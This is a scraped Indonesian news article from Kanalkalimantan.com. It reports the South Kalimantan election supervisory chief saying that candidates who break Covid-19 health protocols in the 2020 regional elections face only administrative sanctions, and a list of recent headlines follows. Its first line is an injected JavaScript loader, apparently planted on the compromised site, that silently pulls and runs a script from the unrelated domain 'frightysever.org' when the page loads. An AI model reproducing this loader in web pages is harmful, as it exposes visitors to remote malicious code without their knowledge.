(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Pilgub Kalsel

Kandidat Langgar Protokol Kesehatan, Bawaslu: Hanya Pelanggaran Administrasi Saja


KANALKALIMANTAN.COM, BANJARMASIN – Pelaksanaan Pilkada serentak 2020 dihelat dengan tetap mengedepankan protokol kesehatan. Hal ini dilakukan sebagai konsekuensi digelarnya Pilkada di tengah pandemi Covid-19.
Usai deklarasi dan penandatanganan pakta integritas komitmen protokol kesehatan di Pilkada Kalsel di KPU Provinsi Kalsel pada Kamis (10/9/2020), Ketua Bawaslu Provinsi Kalsel Erna Kaspiyah menuturkan, memang di Undang-undang Nomor 10 Tahun 2016 tidak dicantumkan sanksi bagi bakal pasangan calon (bapaslon) yang melanggar protokol kesehatan.
“Jadi, kalau Bawaslu masuknya itu lebih ke pelanggaran administrasi. Nah, kalau pidananya mungkin ada di perundang-undangan lainnya, misalnya Perda dan Perwali kan ada sanksinya,” kata Erna.
Lalu, untuk penanganan pandemi Covid-19, pihaknya mengacu pada Undang-undang Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular. “Kita mengacu pada perundang-undangan yang ada.
Lalu, siapa yang menanganinya, kita akan serahkan atau rekomendasikan kepada instansi tersebut,” imbuh Erna.
Diakui Erna, berdasarkan pengamatan Bawaslu Provinsi Kalsel, masih ada kandidat belum mematuhi protokol kesehatan atau belum sesuai prosedur protokol kesehatan. Sehingga, masih dalam kajian pihaknya.
“Nantinya kalau memang menjadi pelanggaran terhadap administrasi.
Karena di peraturan pilkada hanya pelanggaran administrasi saja. Tidak ada sanksi pidananya dan diskualifikasi, sehingga akan kita serahkan pada instansi terkait,” terang Erna.
Disinggung imbauan Menteri Dalam Negeri RI yang mengimbau agar tidak terjadi kerumunan massa, Erna mengatakan akan mengkajinya lebih lanjut, apakah ada sanksi terhadap imbauan tersebut. Karena, imbauan tidak memiliki konsekuensi apapun, seperti penjatuhan saksi.
Pihaknya sendiri juga telah membuat imbauan kepada peserta pemilu, untuk saat pendaftaran itu harus mematuhi protokol kesehatan. Hal ini sesuai dengan PKPU Nomor 6 Tahun 2020 yang dikeluarkan oleh KPU RI.
“Kalau tidak ditaati, maka kita juga menemukan bawah ini ada pelanggaran administrasi. Karena tidak ada sanksi yang diatasnya lagi. Maka kami meminta kepada yang bersangkutan, kedepannya untuk menaati peraturan protokol kesehatan ini,” pungkas Erna. (Kanalkalimantan.com/fikri)
Reporter : Fikri
Editor : Cell

Al Ghifari

Recent Posts

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

1 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

2 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

3 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

6 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

7 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

8 jam ago

This website uses cookies.